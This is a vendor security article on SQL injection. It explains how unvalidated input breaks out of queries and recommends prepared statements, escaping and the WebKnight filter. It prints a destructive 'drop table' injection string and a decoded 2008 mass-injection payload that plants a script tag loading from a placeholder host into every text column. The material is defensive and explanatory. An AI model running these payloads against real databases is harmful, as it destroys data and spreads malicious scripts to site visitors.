SQL Injection


SQL injection (SQLi) is exploiting the lack of input validation in an application (e.g. web site) to compromise the database/server behind it.

Most programmers use the input provided by the user to build their SQL queries. If you accept input as valid and run it against a database system, it will be executed as it is. Example: user gives this input in a search field:

'; drop table Orders--
The application now builds its query to run against the database.
SQL = "SELECT * FROM Products WHERE Name='" & userinput & "'"
making this:
SQL = "SELECT * FROM Products WHERE Name=''; drop table Orders--'"
Well, say bye to your orders if this is run against the database. The user provided a single quote which closes the string in your query. The rest is then seen as valid SQL and will be executed. The trailing -- is the symbol for comment (on SQL Server), so it makes sure the last single quote is not seen by SQL Server, and thus not giving any error: the statement will be executed.

SQL injection can be even more complex than this and it is not only on SQL Server: every database platform is a possible target and the solution is not always the same, except for the fact that you should not handle input provided by the user as valid.

Coding Practices

You cannot protect against these types of attack by installing a patch. This kind of attack has nothing to do with the operating system, database management system, it has everything to do with the end-user application: the application you expose to your users. This could mean everyone (in case of a web site on the Internet).

Most programming languages have built-in libraries that are now safe for SQL injection. They use prepared statements, where the statement is sent using a special character in the SQL-statement (like '?') to specify a parameter. The parameters are then sent separately to the database engine.

If your programming language does not support prepared statements, you should do input validation and check if a string is really a string and no escaping (single quote) is done. You could do this for strings:

"SELECT * FROM Products WHERE Name='" & Replace(userinput,"'","''") & "'"
For most databases this is not sufficient enough. There are probably more characters that have a special meaning and can escape from the string literal. For MySQL and PHP use the function :
For numeric values you should check if it is really numeric:
If IsNumeric(userinput) Then
In PHP you can use the function:

WebKnight Protection

For web applications, WebKnight provides protection against SQL injection by installing itself as an ISAPI filter in IIS and scanning the querystring, headers, cookie and postdata for SQL injection attempts. It does this by using a customizable dictionary of SQL keywords (this dictionary can be found in the section SQL Injection of the WebKnight configuration). You can add or remove specific keywords and when 2 or more keywords are found an alert like this will be triggered:

BLOCKED: Possible SQL injection in headers
BLOCKED: Possible SQL injection in cookie
BLOCKED: Possible SQL injection in querystring
BLOCKED: Possible SQL injection in data

Some of the most seen SQL injection attempts:

May 2008: this one below is used in the famous mass SQL injection of many web servers around the world:
The CAST in this last one actually translates to this and it appends a html script tag with a link to a javascript file into every varchar (text) field in the database:
declare @m varchar(8000);
set @m='';
select @m=@m+'update['']set['']=
<script src="http://badurl/0.js"></script>'';'
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where 
and a.xtype='U'and b.xtype=c.xtype and'varchar';
set @m=REVERSE(@m); 
set @m=substring(@m,PATINDEX('%;%',@m),8000);
set @m=REVERSE(@m);

Data Leakage Prevention

Even when the protection of WebKnight against SQLi would fail, it is still possible to protect your database using the Information Disclosure rule.

  • In the section Response Monitor of the WebKnight configuration set the rule Information Disclosure to Block IP.
  • Add the unique password or hashed password of the first record of your accounts/customers table to the list of items in the Information Disclosure rule.
  • Optionally add unique strings found in other tables to the list of Information Disclosure.

Whenever someone is trying to download your database containing these unique strings, WebKnight will now trigger an alert and block the IP address. It is recommended to monitor the log for these alerts as it indicates much bigger issues with your website.

Published: 20/08/2002Document Type: General
Last modified: 4/07/2015Target: Programmer
Visibility: PublicLanguage: English
Serious about Security
Copyright © 2015 AQTRONIX. All rights reserved.